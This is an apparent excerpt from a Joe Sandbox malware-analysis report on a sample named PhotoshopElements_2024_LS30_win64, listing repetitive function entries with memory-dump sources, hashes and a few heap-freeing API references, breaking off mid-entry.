Instruction ID: 72b898b7e7a9e9cf7742accd6b6c13485a887dd4bc8958c4ac7ae603a46a9277
Opcode Fuzzy Hash: 9cf981c19a50b0c14fb6ed1162f9ac3851b62b8c1f689a7cbe3a9b10722fb020
Instruction Fuzzy Hash: 73E06521101B6267DB2127A59C0DB5A3F98FF467A0F152910FC05961D1FF50DE4081B1

Function 00521898 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005218AB

Part of subcall function 00535D79: RtlFreeHeap.NTDLL(00000000,00000000,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?), ref: 00535D8F
Part of subcall function 00535D79: GetLastError.KERNEL32(?,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?,?), ref: 00535DA1

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: f3a033b99421fc2d6e9bb4b685b0e50ec993971f0edb1f47846a6e3c28184d1e
Instruction ID: 320ca1a7f84769bb1beb3949e77b81dd9238726d5602f4f9815bfeccc8a24d29
Opcode Fuzzy Hash: f3a033b99421fc2d6e9bb4b685b0e50ec993971f0edb1f47846a6e3c28184d1e
Instruction Fuzzy Hash: 9EC08C32000208BBCB009F41D80AA4E7FB8EB80364F200044F40157250DAB1EF409680

Function 0A851202 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3770006025.000000000A850000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a850000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aeafd801b1ed2027780da67c1dd6593e0462175cdab21ce322675f16b57e24b
Instruction ID: e138c125bdcb50fdfd7332e2eb1670cef00e61a0a1ed7f2f113d9986a927df02
Opcode Fuzzy Hash: 8aeafd801b1ed2027780da67c1dd6593e0462175cdab21ce322675f16b57e24b
Instruction Fuzzy Hash: DFF03175A042059FD700CFA4D885A9AF7B5EF44214F11824AED14A7305D771AD51DBA0

Function 0A855575 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3770006025.000000000A850000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a850000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f78a399a4272fec8be24ea6e6f36ef127e4ad8f670e3d3b45aa18f354ca4af
Instruction ID: c5ec1f4a65f39466698704ac754d27ce241aa8f51a584a383fb635eec028ce7b
Opcode Fuzzy Hash: e8f78a399a4272fec8be24ea6e6f36ef127e4ad8f670e3d3b45aa18f354ca4af
Instruction Fuzzy Hash: D1E0927AB192085FCB04CA98DC4199EF3F9EF88225F15014AFE01E7311D670FD008BA0

Function 0A770E7F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770E47 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770E17 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770E0F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770AF7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770EE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770ACF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770ABF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770EBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770AA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770EA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770B57 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770B4F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770B37 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F27 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770B27 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F2F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770B2F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F0F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BF7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BFF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BEF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770BA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770FA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770F8F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770C0F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
